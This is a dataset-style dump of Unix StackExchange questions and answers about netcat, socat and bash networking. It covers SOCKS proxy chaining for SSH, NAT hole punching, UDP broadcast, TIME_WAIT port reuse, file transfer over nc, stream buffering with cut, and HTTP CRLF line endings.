date int64 1,220B 1,719B | question_description stringlengths 28 29.9k | accepted_answer stringlengths 12 26.4k | question_title stringlengths 14 159 |
|---|---|---|---|
1,373,493,602,000 |
At the beginning, I created a small server with netcat and it worked well:
#!/bin/bash
PORT="1234";
startServer(){
fifo="fifo/$1";
mkfifo "$fifo";
connected="0";
netcat -q 0 -l -p "$PORT" < "$fifo" | while read -r line; do
if [ "$connected" == "0" ];then
#listen for a new connection
startServer $(($1+1))&
connected="1";
fi
#server logic goes here
done > "$fifo";
rm "$fifo";
}
mkdir fifo;
startServer 0;
It uses fifos to redirect the main loop output back to netcat.
Every call to startServer increases the value of $1 and creates a fifo file fifo/$1.
But I want to use bash's automatic file descriptor creation to get rid of fifo files and the parameter of startServer.
After multiple attempts, here is my current attempt at modifying the startServer function. I can receive lines from the client but unfortunately it does not receive anything back. I am confused about what is wrong.
startServer(){
connected="0";
#create file descriptor and read output from main loop
exec {fd}> >( netcat -q 0 -l -p "$PORT" | while read -r line; do
if [ "$connected" == "0" ];then
#listen for a new connection
startServer&
connected="1";
fi
#server logic goes here
done ) >&$fd;
#close file descriptor
exec {fd}<&-;
exec {fd}>&-;
}
Also, I cannot use netcat's "-e" option since it is not available in the netcat-openbsd package.
|
You cannot set and use fd in the same command; you are effectively doing exec {fd}> ... >&$fd. What can work is creating the bash fifo/pipe first, using some simple command like :. Eg:
startServer(){
local connected=0 fd
exec {fd}<> <(:)
nc -q 0 -l -p "$PORT" <&$fd |
while read -r line
do if [ "$connected" == "0" ]
then startServer $(($1+1)) &
connected="1"
fi
echo server $1 logic goes here
done >&$fd
exec {fd}<&-
}
| Bash - Use automatic file descriptor creation instead of fifo |
1,373,493,602,000 |
I got a great answer for my previous question about connecting from Machine A to Machine C via Socks proxy located on Machine B.
Say Machine B Ip is 218.62.97.105 and it is listening on port 1080
The command for that:
ssh -o ProxyCommand='socat - socks:218.62.97.105:HOST_C:21,socksport=1080'
I wonder if it is possible to make a chain from the socks proxies.
Consider scenario: Machine A -> Machine B (Socks proxy 1) -> Machine C (Socks proxy 2) -> Machine D (destination)
Machine B IP: 218.62.97.105 PORT 1080
Machine C IP: 11.11.11.11 PORT 3128
Machine D IP: 55.55.55.55 PORT 8080
I hope there is someone out there experienced with socat or any other tool as it seems pretty complicated for me at this point.
+100 for anyone who could give me the working answer.
debug of socat 1 command:
2012/10/02 20:45:00 socat[15641] D read -> 8
2012/10/02 20:45:00 socat[15641] D received socks4 reply data (offset 0): 00 5c 00 50 c1 6b 90 17
2012/10/02 20:45:00 socat[15641] D received all 8 bytes
2012/10/02 20:45:00 socat[15641] I received socks reply VN=0 CD=92 DSTPORT=80 DSTIP=193.107.144.23
2012/10/02 20:45:00 socat[15641] E socks: ident refused by client
2012/10/02 20:45:00 socat[15641] N exit(1)
2012/10/02 20:45:00 socat[15641] I shutdown(4, 2)
2012/10/02 20:45:00 socat[15641] D shutdown() -> 0
2012/10/02 20:45:00 socat[15641] I shutdown(3, 2)
2012/10/02 20:45:00 socat[15641] D shutdown() -> 0
2012/10/02 20:45:00 socat[15638] I childdied(signum=17)
2012/10/02 20:45:00 socat[15638] D waitpid(-1, 0xbfbea3fc, 1)
2012/10/02 20:45:00 socat[15638] D waitpid(, {256}, ) -> 15641
2012/10/02 20:45:00 socat[15638] I childdied(17): cannot identify child 15641
2012/10/02 20:45:00 socat[15638] D saving pid in diedunknown1
2012/10/02 20:45:00 socat[15638] W waitpid(): child 15641 exited with status 1
2012/10/02 20:45:00 socat[15638] D waitpid(-1, 0xbfbea3fc, 1)
2012/10/02 20:45:00 socat[15638] D waitpid(, {256}, ) -> -1
2012/10/02 20:45:00 socat[15638] I waitpid(-1, {}, WNOHANG): No child processes
2012/10/02 20:45:00 socat[15638] I childdied() finished
socat second command:
2012/10/02 20:44:38 socat[15640] D socket(2, 1, 6)
2012/10/02 20:44:38 socat[15640] I socket(2, 1, 6) -> 3
2012/10/02 20:44:38 socat[15640] D fcntl(3, 2, 1)
2012/10/02 20:44:38 socat[15640] D fcntl() -> 0
2012/10/02 20:44:38 socat[15640] D connect(3, {2,AF=2 127.0.0.1:22222}, 16)
2012/10/02 20:44:38 socat[15640] D connect() -> 0
2012/10/02 20:44:38 socat[15640] D getsockname(3, 0xbf8111cc, 0xbf811058{112})
2012/10/02 20:44:38 socat[15640] D getsockname(, {AF=2 127.0.0.1:40843}, {16}) -> 0
2012/10/02 20:44:38 socat[15640] N successfully connected from local address AF=2 127.0.0.1:40843
2012/10/02 20:44:38 socat[15640] I sending socks4 request VN=4 DC=1 DSTPORT=21 DSTIP=xx.xxx.xxx.xxx USERID=mnmnc
2012/10/02 20:44:38 socat[15640] D malloc(42)
2012/10/02 20:44:38 socat[15640] D malloc() -> 0x8f1ec80
2012/10/02 20:44:38 socat[15640] D sending socks4(a) request data 04 01 00 15 3e f4 9f 9a 6d 6e 6d 6e 63 00
2012/10/02 20:44:38 socat[15640] D write(3, 0xbf811304, 14)
2012/10/02 20:44:38 socat[15640] D write -> 14
2012/10/02 20:44:38 socat[15640] I waiting for socks reply
2012/10/02 20:44:38 socat[15640] D read(3, 0xbf811234, 8)
2012/10/02 20:45:00 socat[15640] D read -> 0
2012/10/02 20:45:00 socat[15640] E read(): EOF during read of socks reply, peer might not be a socks4 server
2012/10/02 20:45:00 socat[15640] N exit(1)
2012/10/02 20:45:00 socat[15640] I shutdown(3, 2)
2012/10/02 20:45:00 socat[15640] D shutdown() -> 0
ssh_exchange_identification: Connection closed by remote host
|
With:
socat tcp-listen:12345,reuseaddr,fork,bind=127.1 socks:218.62.97.105:11.11.11.11:3128,socksport=1080
you will have a socat waiting for TCP connections on port 12345 on the loopback interface, and forward them to 11.11.11.11:3128 by way of the socks server on 218.62.97.105:1080
You can then use that to connect to D:
ssh -o ProxyCommand='socat - socks:127.1:%h:%p,socksport=12345' -p 8080 55.55.55.55
(untested)
| SSH jumping over socks(4/5) proxy chain. Host -> socks proxy -> socks proxy -> destination |
1,373,493,602,000 |
I'm using nc in a Debian environment:
# dpkg -l | grep netcat
ii netcat-traditional 1.10-41+b1
# cat /etc/debian_version
9.4
Its help page describe the behavior of the -w flag:
-w secs timeout for connects and final net reads
So it seems it's accept seconds only (as integer).
I need to reduce this timeout because I have to poll a remote device twice per second:
echo -n read_input | nc -w 1 192.168.1.185 8800
this command is sent by an application. I can only set the console command to be executed.
Of course, with a timeout of 1 second I can barely poll the device about 1 time every two seconds (to avoid to open a new socket when the previous is not closed yet).
Do you confirm there's no way to achieve this? So, is there a way to have a timeout < 1 second with netcat?
For my own curiosity: why a network timeout should be in seconds?
|
I don't think it is possible with nc alone. But you can additionally use the timeout tool (GNU coreutils package) which allows you to run a command with a timelimit specified as a floating point number, e.g. like so.
echo -n read_input | timeout 0.5 nc 192.168.1.185 8800
| Usage of nc with timeouts in ms |
1,373,493,602,000 |
I'm trying to connect directly (without 3rd party server) my computer to a friend's computer. We are both behind a ISP router, and would like (as a challenge!) to connect without modifying the router configuration.
As suggested here and here, we tried both TCP hole punching:
myself$ nc -p 7777 public-ip-friend 8888
friend$ nc -p 8888 public-ip-myself 7777
and UDP hole punching:
myself$ nc -u -p 7777 public-ip-friend 8888
friend$ nc -u -p 8888 public-ip-myself 7777
but none of them worked.
How to solve this?
Note: VPS (not behind a NAT) <--> my home computer (still behind router) works with the same method.
|
Sometimes the commands given in the question will work, but sometimes it won't.
Here is the reason.
Let's say:
my computer IP on my local network: 192.168.1.10
my home public IP: 203.0.113.10
my friend's public IP: 198.51.100.27
When doing this on my computer:
myself$ nc -u -p 7777 198.51.100.27 8888
we have, before NAT translation:
srcip srcport destip destport
192.168.1.10 7777 198.51.100.27 8888
but after the home router NAT translation we have:
srcip srcport destip destport
203.0.113.10 55183(*) 198.51.100.27 8888
i.e. the source IP is rewritten by the NAT but also the source port.
So a "hole" will indeed be created in my home firewall (accepting traffic from my friend 198.51.100.27), but for port 55183, and not for port 7777.
This explains why it fails when my friend does:
friend$ nc -u -p 8888 203.0.113.10 7777
Note (*): In some cases the router might keep srcport=7777 instead of rewriting it to a random port like 55183.
It this case, the solution given in the question might work. But this is random behaviour!
| UDP or TCP hole punching to connect two peers (each one behind a router) |
1,373,493,602,000 |
If I run these NetCat below commands (no error messages at all) during a WireShark capture running (capture filter= udp dst port 4000) :
luis@Zarzamoro:~$ echo "Hello" | nc -w1 -4u 255.255.255.255 4000
luis@Zarzamoro:~$ echo "Hello" | nc -w1 -4u 255.255.255.1 4000
luis@Zarzamoro:~$ echo "Hello" | nc -w1 -4u 192.168.11.255 4000
luis@Zarzamoro:~$ echo "Hello" | nc -w1 -4u 192.168.11.100 4000
This is the captured data (note the two missing netcat orders) :
As I conclude, any data sent to a broadcast (x.x.x.255) network address is ignored (without errors :-P ) by NetCat.
Why is this happening?
Additional data:
This is my full ifconfig :
luis@Zarzamoro:~$ sudo ifconfig
eth0 Link encap:Ethernet HWaddr b8:27:eb:ef:bb:aa
inet addr:192.168.11.140 Bcast:192.168.11.255 Mask:255.255.255.0
inet6 addr: fe80::ba27:ebff:feef:bbaa/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:9672 errors:0 dropped:0 overruns:0 frame:0
TX packets:8567 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:503027 (503.0 KB) TX bytes:5993557 (5.9 MB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:153 errors:0 dropped:0 overruns:0 frame:0
TX packets:153 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:10926 (10.9 KB) TX bytes:10926 (10.9 KB)
Running Ubuntu 14.04.
As a workaround for now, I am using socat:
echo "Hello" | socat - UDP-DATAGRAM:255.255.255.255:4000,broadcast
but I would anyway like to understand why NetCat is not capable of doing the same.
|
I assume you are using netcat-openbsd because you specify -4. It has -b to enable broadcast address, but it's known that UDP broadcast is not supported by this version of netcat even with -b. Debian Bug#702204 suggests a patch to fix that.
You can install an alternative package netcat-traditional which seems to correctly support -b with UDP. Note that which netcat to be invoked by running /bin/nc is configurable using update-alternatives when both packages are installed in your system.
$ sudo update-alternatives --config nc
There are 2 choices for the alternative nc (providing /bin/nc).
Selection Path Priority Status
------------------------------------------------------------
* 0 /bin/nc.openbsd 50 auto mode
1 /bin/nc.openbsd 50 manual mode
2 /bin/nc.traditional 10 manual mode
Press enter to keep the current choice[*], or type selection number: 2
update-alternatives: using /bin/nc.traditional to provide /bin/nc (nc) in manual mode
Finally you might want to add -v to get more verbose diagnostics from nc.
| NetCat ignoring (not sending) network data to broadcast addresses |
1,373,493,602,000 |
I am trying to execute nc command from a script , my script is executing nc command on different ports of Destination using the same source port.
e.g:
nc -p 8140 -z -v -n 10.X.X.9 9090
nc -p 8140 -z -v -n 10.X.X.9 9091
nc -p 8140 -z -v -n 10.X.X.9 9092
nc -p 8140 -z -v -n 10.X.X.9 9093
and so on ...
After the 1st nc execution , for the remaining of all the lines I am getting below mentioned error message.
nc: bind failed: Address already in use
nc: bind failed: Address already in use
nc: bind failed: Address already in use
Is there any way of avoiding this situation?
|
Background
When you're attempting to use nc in this manner it's continuing to keep the TCP port open, waiting for the destination to acknowledge the receiving of the done request. This is highlighted in the TCP article on Wikipedia.
TIME-WAIT
(either server or client) represents waiting for enough time to pass to be sure the remote TCP received the acknowledgment of its connection termination request. [According to RFC 793 a connection can stay in TIME-WAIT for a maximum of four minutes known as a MSL (maximum segment lifetime).]
You can see the effects of this when I use nc similarly:
$ nc -p 8140 -v -n 192.168.1.105 80
Looking at the state of port 8140:
$ netstat -anpt | grep 8140
tcp 0 0 192.168.1.3:8140 192.168.1.105:80 TIME_WAIT -
In fact on most Linux systems this TIME_WAIT is set to 60 seconds.
$ cat /proc/sys/net/ipv4/tcp_fin_timeout
60
If you want to see the effect yourself you can use this snippet to watch when the port becomes released.
$ date; nc -p 8140 -v -n 192.168.1.105 80 -w 1; date; \
while netstat -anpt | grep 8140; do date; sleep 10; done; date
Tue Mar 25 09:46:59 EDT 2014
Connection to 192.168.1.105 80 port [tcp/*] succeeded!
Tue Mar 25 09:47:00 EDT 2014
tcp 0 0 192.168.1.3:8140 192.168.1.105:80 TIME_WAIT -
Tue Mar 25 09:47:00 EDT 2014
tcp 0 0 192.168.1.3:8140 192.168.1.105:80 TIME_WAIT -
Tue Mar 25 09:47:10 EDT 2014
tcp 0 0 192.168.1.3:8140 192.168.1.105:80 TIME_WAIT -
Tue Mar 25 09:47:20 EDT 2014
tcp 0 0 192.168.1.3:8140 192.168.1.105:80 TIME_WAIT -
Tue Mar 25 09:47:30 EDT 2014
tcp 0 0 192.168.1.3:8140 192.168.1.105:80 TIME_WAIT -
Tue Mar 25 09:47:40 EDT 2014
tcp 0 0 192.168.1.3:8140 192.168.1.105:80 TIME_WAIT -
Tue Mar 25 09:47:50 EDT 2014
Tue Mar 25 09:48:00 EDT 2014
$
Method #1 - using nc
The releasing of the port 8140 takes some time to occur. You'll either need to wait until it's been fully released (putting some sleeps in between would be 1 easy way) or by using a different port.
If you just want to see if the port @ host is open or not you could just drop the -p 8140.
$ nc -zv -n 10.X.X.9 9090-9093
Example
$ nc -zv -n 192.168.1.200 2024-50000 |& grep -v refu
Connection to 192.168.1.200 5672 port [tcp/*] succeeded!
Connection to 192.168.1.200 35766 port [tcp/*] succeeded!
NOTE: You might be tempted to try adding the -w option to nc, which instructs it to only wait a certain period of time. By default nc will wait forever. So your command would be something like this:
$ nc -p 8140 -zv -n 10.X.X.9 9090 -w 1
However in my testing on a CentOS 5.9 system using 1.84 it still continued to keep the port in use afterwards, so the best you'd be able to do is use -w 60 since that's the shortest amount of time until TIME_WAIT takes effect.
Method #2 - using nmap
If you want to use a more appropriate app for scanning a set of ports then I'd suggest using nmap instead.
$ sudo nmap -sS --source-port 8140 -p 9090-9093 10.X.X.9
Example
$ sudo nmap -sS --source-port 8140 -p 80-85 homer
Starting Nmap 6.40 ( http://nmap.org ) at 2014-03-24 21:22 EDT
Nmap scan report for homer (192.168.1.105)
Host is up (0.0059s latency).
PORT STATE SERVICE
80/tcp open http
81/tcp closed hosts2-ns
82/tcp closed xfer
83/tcp closed mit-ml-dev
84/tcp closed ctf
85/tcp closed mit-ml-dev
MAC Address: 00:18:51:43:84:87 (SWsoft)
Nmap done: 1 IP address (1 host up) scanned in 11.36 seconds
Here I've setup a filter using iptraf to prove the traffic is going out to these ports using the source port of 8140.
NOTE: Pay special attention to #1 in the diagram, that shows the source port 8140, while #2 shows a couple of my destination ports that I selected, mainly 80 & 83.
References
Nmap Cheat Sheet
Bind: Address Already in Use - Or How to Avoid this Error when Closing TCP Connections
| nc: bind failed: Address already in use |
1,408,506,600,000 |
I have a second monitor that I'd like to use for a text-based debugging log and/or console. I don't want to have it as part of my GUI / "desktop" / main system.
I have this display connected to an old linux box that doesn't have much processing power. When it boots up it sits ready at the login: prompt.
It is connected to the LAN so I can SSH to it. I know I can write to the screen by running something like ssh root@ancient echo test \> /dev/tty0
I enjoy using named pipes for debugging, basically creating one named pipe with mkfifo and then using tail -f on it while writing data to it from other commands / scripts / etc.
Based on this explanation of what I'm attempting to do, what is a "good" / "right" way to do what I'm trying to do ("dump data" to a named pipe over the network so that the output would appear on this terminal's screen? )
I know I've got access to ssh, tail, netcat (nc), and redirection via things like /dev/tty0 - but I can't quite figure out how to put it all together eloquently. I did see this: Can I pipe/redirect a console application through netcat so it can be used remotely?
It seems hackish to use something like ssh root@ancient echo test \> /dev/tty0 and create a new connection for every log item that gets sent.
A bonus would be if the data was not sent over the network as plain-text, but I suppose that criterion is not mandatory if it makes things very slow or creates too much overhead or complication.
Also, would there be any advantage in using a serial connection between the two machines instead?
I have done this in the past but it seemed to me that even at the maximum baud rate of 115,200 that when a few hundred lines of code were sent it seemed 'laggy' compared to sending the data over the network. I know 115k is old "modem technology" so I just wanted to know if this slower-than-expected experience for this type of direct ( albeit serial) connection is normal.
|
netcat springs to mind; it may be the more sensible choice (given the no-overhead, no compression approach to network communications) on your low-spec receiving machine.
A nice usage example can be found here:
https://stackoverflow.com/questions/4113986/example-of-using-named-pipes-in-linux-bash
| How can I pipe data over network or serial to the display of another linux machine? |
1,408,506,600,000 |
I want to let netcat on my server execute a script that works on a file that has just been sent and have the output of this script be sent as the response to the client. My approach is:
On the receiving site:
nc.traditional -l -p 2030 -e "./execute.sh" > file.iso
On the sending site:
cat file.iso - | nc.traditional -w 1 serverAddress 2030
Right now, the receiving site executes the script before the file has been transferred completely, but sends the output of the script back to the sending site and then closes the connection. I'd like the receiving site to wait until the file has been completely transferred before executing the script.
|
You need some way for the receiving end to recognize the end of the transferred file. With cat file - | nc in the sending side, the data stream through the pipe will make no separation between the contents of the file, and whatever the user types on the terminal (cat - reads the terminal). Also, by default, netcat doesn't react to an EOF on its input, but we can use -q to have it send the EOF along.
So, the receiving script could be something like this:
#!/bin/bash
filename=$1
cat > "$filename"
hash=$(shasum "$filename" |sed -e 's/ .*//')
printf "received file \"%s\" with SHA-1 hash %s\n" "$filename" "$hash"
The cat reads the input until EOF, saving the file. Whatever follows, is executed after the file is received. Here, the script sends back the SHA-256 hash of the data it received.
Then, on the receiving side, run:
$ nc.traditional -l -p 12345 -c "./receivefile.sh somefilename"
and on the sending side:
$ cat sourcefile | nc.traditional -q 9999 localhost 12345
received file "somefilename" with SHA-1 hash 3e8a7989ab68c8ae4a9cb0d64de6b8e37a7a42e5
The script above takes the file name as an argument, so I used -c instead of -e, but of course you can also redirect the output of nc to the destination file, as you did in the question.
If you want to send the filename from the sending side too, you could do something like this on the receiving side:
#!/bin/bash
read -r filename
[[ $filename = */* ]] && exit 1 # exit if the filename contains slashes
cat > "$filename"
echo "received $filename"
and then send with (echo filename; cat filename) | nc -q 9999 localhost 12345. (You may want to be way more careful with the remote-supplied filename, here. Or just use something designed for file transfer, like scp.)
Instead of using nc, you could do this similarly with SSH:
cat filename | ssh user@somehost receive.sh
| How to let Netcat execute command after file transfer is complete? |
1,408,506,600,000 |
I have run into a problem where I have a ncat server with the command ncat -l [port] -k -c "cat > foo; cat > bar". When I connect to this server through netcat, it allows me to write to the file foo, and after that, bar. The problem is that when the client connecting wants to stop writing foo by sending a ^D, it closes the client instead of moving on to writing to bar, so bar is never written to. How can I bypass this? What's an alternative to cat that allows me to quit with a command instead of an EOF?
|
If what you want to do is transfer 2 files with only 1 connection, you will have to somehow use a marker to separate the files in the data stream, as end-of-file is a read of length 0 that netcat will use to close the socket.
Control-D may be what you can type in a terminal to signify end-of-file, but it does not generate a character, it terminates the read with a length of 0. There is no Control-D in the data stream.
To transfer 2 files simply, you could use an existing packaging command like tar. Use nc -k -l 4458 -v -c 'tar xf - >&2' as your receiver and tar cf - foo bar as your sender. (Since the filenames come from the sender you must trust the sender).
Alternatively, if your files are simple text you could introduce a special line to separate the 2 files. Eg at the sender cat foo; echo bye; cat bar and at the receiver something like
nc -k -l 4458 -v -c 'awk -v file=foo '\''/^bye$/{ file="bar";next }{print >file}'\'
This GNU awk script holds the first filename in variable file, then when it sees the "bye" line it changes to the second filename.
| How could I EOF `cat` through `netcat` without closing connection? |
1,408,506,600,000 |
I have a netcat udp connection listening with nc -l -u .... I've been trying to do a per packet manipulation of the incoming data with just command line, but it doesn't look like there is a flag in netcat to indicate a new packet.
First, is it possible to just apply a new line to the end of each packet coming in from netcat?
If not, is there a way instead to match a string and output a new line while netcat is streaming in data?
|
Server side:
# nc -l -u -p 666 > /tmp/666.txt
Other server side's shell:
# tail -F /tmp/666.txt | while IFS= read -r line; do
echo "$line";
# do what you want.
done;
Client side:
# nc -uv 127.0.0.1 666
#### Print your commands.
| Command line streaming string manipulation from netcat |
1,408,506,600,000 |
I'm using curl to request a specific URL and getting 200 OK response:
curl -v www.youtypeitwepostit.com
* About to connect() to www.youtypeitwepostit.com port 80 (#0)
* Trying 54.197.246.21...
* Connected to www.youtypeitwepostit.com (54.197.246.21) port 80 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.29.0
> Host: www.youtypeitwepostit.com
> Accept: */*
>
< HTTP/1.1 200 OK
...
If I save headers to file as:
GET / HTTP/1.1
User-Agent: curl/7.29.0
Host: www.youtypeitwepostit.com
Accept: */*
and try to execute nc command (netcat):
nc www.youtypeitwepostit.com 80 < file
HTTP/1.1 505 HTTP Version Not Supported
Connection: close
Server: Cowboy
Date: Wed, 02 Nov 2016 04:08:34 GMT
Content-Length: 0
I'm getting another response. What's the difference and how can I get 200 OK using nc?
I tried with different versions of HTTP in request header, tried to type request manually to avoid wrong CRLFs, tried to exclude optional headers. The results are similar.
|
The relevant RFC, Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing contains the answer to your question: that each line of a HTTP request should end with CR/LF.
The grammar for the HTTP Message Format specifies that each header line should end with a Carriage Return character (0x0d in ASCII) followed by a line feed character (0x0a):
HTTP-message = start-line
*( header-field CRLF )
CRLF
[ message-body ]
This is expressed more clearly in the description of the Request Line:
A request-line begins with a method token, followed by a single space (SP), the request-target, another single space (SP), the protocol version, and ends with CRLF.
request-line = method SP request-target SP HTTP-version CRLF
Since curl is a specifically developed for HTTP requests it already uses the appropriate line-endings when making HTTP requests. However, netcat is a more general purpose program. As a Unix utility, it uses line-feed characters for line endings by default, thus requiring the user to ensure that lines are terminated correctly.
You can use the unix2dos utility to convert the file containing the request headers to use Carriage Return / Line Feed endings.
If you want to type the HTTP request by hand and have a recent version of nc, you should use its -C option to use CRLF for line endings:
nc -C www.youtypeitwepostit.com 80
By the way, it’s worth noting that most popular Internet protocols (e.g., SMTP) use CR/LF line endings.
Note that some web servers (e.g. Apache) are more forgiving and will accept request lines that are terminated only with a Line Feed character. The HTTP specification allows for this, as mentioned in the Message Parsing Robustness section:
Although the line terminator for the start-line and header fields is the sequence CRLF, a recipient MAY recognize a single LF as a line terminator and ignore any preceding CR.
| What's the difference between using netcat (nc) and curl for HTTP requests? |
1,408,506,600,000 |
How can I have a netcat connection terminate the sending half of a TCP connection if its input reaches EOF?
I have a (non-standard) TCP service which reads all its input (i.e. until the client sends its FIN), and only then starts processing the data and sending back a reply. I would like to use nc to interact with this service. But at the moment the reply doesn't arrive at the nc console, and using Wireshark I can see that nc only terminates the sending side of the connection when it quits (e.g. because of a timeout). I found no command line option to change this behavior.
|
The comment by @meuh suggested using socat for this purpose. Based on that I've successfully used
some command | socat -t30 - TCP:localhost:1234
To transfer data including EOF and then still receive the response.
| Half-close netcat connection |
1,408,506,600,000 |
I'm trying to use netcat on Linux server to stream video to my windows client using VLC
I started running netcat on Linux:
cat /media/HD1/myMovie.mkv | nc -l 8668
In VLC Windows Client I tried to:
Open VLC > Open network stream vlc > rtp://@serverIP:8668
Without success.
|
I had been looking for such a solution this weekend.
Since i found one i thought to share it for future researchers.
PC 1 = Server. The PC in my lan having my movie stored
$ netcat -l -p 8111 <mymovie.mp4 # -p 8111 :port 8111. Can be any port
#OR
$ cat mymovie.mp4 |netcat -l -p 8111 # -l : listening mode
PC 2 = Client. The PC connected to my TV
$ netcat 192.168.1.116 8111 |vlc - # Change IP accordingly to find PC1
#OR
$ cat </dev/tcp/192.168.1.116/8111 |vlc - # in Bash
Instead of vlc you can use mpv or any other video player as soon as read from standard input is supported.
Next Weekend Task:
Serve mymovie.mp4 to client alongside with subtitles srt file
| Stream Video using Netcat and VLC |
1,408,506,600,000 |
I'm using nc to scan for open ports but I'm scanning a wide range and it's displaying too many results. Trying to grep it for the word "succeeded" doesn't work for some reason:
$ nc -zv localhost 31000-32000 | grep succeeded
...
nc: connect to localhost port 31957 (tcp) failed: Connection refused
nc: connect to localhost port 31958 (tcp) failed: Connection refused
nc: connect to localhost port 31959 (tcp) failed: Connection refused
Connection to localhost 31960 port [tcp/*] succeeded!
nc: connect to localhost port 31961 (tcp) failed: Connection refused
nc: connect to localhost port 31962 (tcp) failed: Connection refused
nc: connect to localhost port 31963 (tcp) failed: Connection refused
nc: connect to localhost port 31964 (tcp) failed: Connection refused
...
(I thought about sending the error messages to /dev/null as well: nc -zv localhost 31000-32000 2>/dev/null. But in that case there are no results whatsoever. It seems that all nc port status messages are error/debug messages)
|
nc writes its output to standard error, you need:
nc -zvv localhost 31000-32000 2>&1 | grep succeeded
The 2>&1 will redirect standard error to standard output so you can then pipe it to grep.
| grep not matching in nc output |
1,408,506,600,000 |
When I try to redirect the output of cut it always seems to be empty. If don't redirect it, the output shows in terminal as expected. This is true for OS X 10.10 and Linux 4.1.6.
This works:
root@karla:~# nc 10.0.2.56 30003
[...] lots of lines [...]
This works:
root@karla:~# nc 10.0.2.56 30003 | cat
[...] lots of lines [...]
This works:
root@karla:~# nc 10.0.2.56 30003 | cut -d, -f 15,16
[...] lots of lines [...]
This doesn't
root@karla:~# nc 10.0.2.56 30003 | cut -d, -f 15,16 | cat
[nothing]
This again DOES
root@karla:~# cat messung1 | cut -d, -f15,16 | cat
[...] lots of lines [...]
This is not limited to cat after cut. grep, tee and standard redirection using > don't work either.
What's wrong there?
|
It's not that much that there's no output as that it's coming in chunks.
Like many programs, when its output is no longer a terminal, cut buffers its output. That is, it only writes data when it has accumulated a buffer-full of it. Typically, something like 4 or 8 KiB though YMMV.
You can easily verify it by comparing:
(echo foo; sleep 1; echo bar) | cut -c2-
With:
(echo foo; sleep 1; echo bar) | cut -c2- | cat
In the first case, cut outputs oo\n and then ar\n one second later, while in the second case, cut outputs oo\nar\n after 1 seconds, that is when it sees the end of its input and flushes its output upon exit.
In your case, since stdin is nc, it would only see the end of its input when the connection is closed, so it would only start outputting anything after it has accumulated 4KiB worth of data to write.
To work around that, several approaches are possible.
On GNU or FreeBSD systems, you can use the stdbuf utility that can tweak the buffering behaviour of some commands (it doesn't work for all as it uses a LD_PRELOAD hack to pre-configure the stdio buffering behaviour).
... | stdbuf -oL cut -d, -f15,16 | cat
would tell cut to do a line-based buffering on its stdout.
some commands like GNU grep have options to affect their buffering. (--line-buffered in the case of GNU grep).
you can use a pseudo-tty wrapper to force the stdout of a command to be a terminal. However most of those solutions have some drawbacks and limitations. The unbuffer expect script for instance, often mentioned to address this kind of problem has a number of bugs for instance.
One that doesn't work too bad is when using socat as:
... | socat -u 'exec:"cut -d, -f15,16",pty,raw' -
You can replace your text utility with a higher-level text processing tool that has support for unbuffered output.
GNU awk for instance has a fflush() function to flush its output. So your cut -d, -f15,16 could be written:
awk -F, -vOFS=, '{print $15,$16;fflush()}'
if your awk lacks the fflush() function, you can use system("") instead. That's normally the command to execute a command. Here, we would be executing an empty command, but actually using it for the fact that awk flushes its stdout before running the command.
or you can use perl:
perl -F, -lane 'BEGIN{$,=",";$|=1} print @F[14..15]'
| Can't redirect cut output |
1,408,506,600,000 |
I'm trying to use the nc command on SuSE Linux Enterprise Desktop 11. I executed this line:
nc -4ul 192.0.2.2 50000
But I got this.-
bash: nc: command not found
This is the first time that I have the problem. I have used the command for other tests without difficulty.
I'll appreciate any help to solve this.
|
It seems that you don't have netcat-openbsd installed in your machine. Try:
zypper search netcat-openbsd
Then:
sudo zypper install netcat-openbsd
Maybe your package name will be different, so change it to what ever zypper search command return. This will install netcat version implemented by OpenBSD.
Note
zypper
nc-openbsd
netcat implemention
| nc command not found on SuSE |
1,408,506,600,000 |
Ι am nc-listening on localhost:2500
▶ nc -l 2500
_
On another terminal I am trying to connect to this listening end
▶ nc -zv localhost 2500
nc: connectx to localhost port 2500 (tcp) failed: Connection refused
Connection to localhost port 2500 [tcp/rtsserv] succeeded!
Why does it seem like the first attempt is failing?
I also noticed that when the connection attempt finishes (apparently succesffully) for some reason, my listening process exits. No idea why this is happenning.
|
There are many different implementations of netcat.
I'll assume you are not using the traditional implementation but a more modern one, which can handle IPv6, because 1st issue looks related to IPv6. Here I'm using the OpenBSD variant of nc (version 1.217, on Debian 11 as 1.217-3).
First issue: double connection
nc -l 2500 listens on IPv4
nc -zv localhost 2500 attempts first to connect to IPv6 localhost ::1, fails and transparently retries as IPv4 localhost 127.0.0.1: success
My netcat gives more information:
$ nc -zv localhost 2500
nc: connect to localhost (::1) port 2500 (tcp) failed: Connection refused
Connection to localhost (127.0.0.1) 2500 port [tcp/*] succeeded!
You could avoid this for example by:
stating 127.0.0.1 on the client command instead of localhost or using the -4 option to try only IPv4.
or changing the dual-stack preferences for the resolution of localhost to favor IPv4 over IPv6. On glibc-based systems such as most Linux this can be done by adding this in /etc/gai.conf:
precedence ::1/128 5
or by stating -6 on the server command which will use IPv6. Actually, chances are the IPv6 socket will default to dual-mode IPv4+IPv6 as per RFC 3493.
second issue: server command ends
The zero mode scan of netcat with TCP simply establishes a connection and ends it: zero data is transfered, but a connection was still established and closed. So the server command having done its role ends by default (that's the behavior of the OpenBSD variant. For example the original/traditional variant didn't do this but didn't use IPv6 either).
Add the required option to the server command so it keeps a listening socket and doesn't stop at the first connection received. For the OpenBSD version this is option -k: "Keep inbound sockets open for multiple connects":
nc -k -l 2500
Note that there are other implementations of netcat and each have its own subtle difference. My advice about which to use is: none, use socat instead which has way more features.
| netcat closing connection on localhost listening end after connection attempt |
1,408,506,600,000 |
In trying to trace a simple HTTP GET request and its response with nc, I'm running into something strange.
This, for example, works fine: the in file ends up containing the HTTP GET request and the out file the response.
$ mkfifo p
$ (nc -l 4000 < p | tee in | nc web-server 80 | tee out p)&
[1] 8299
$ echo "GET /sample" | nc localhost 4000
This is contents of /sample...
$ cat out
This is contents of /sample...
$
However, if I replace the tee out p above with tee out >p, then the out file turns out to be empty.
$ (nc -l 4000 < p | tee in | nc web-server 80 | tee out > p)&
[1] 8312
$ echo "GET /sample" | nc localhost 4000
$ cat out
$
Why should this be so?
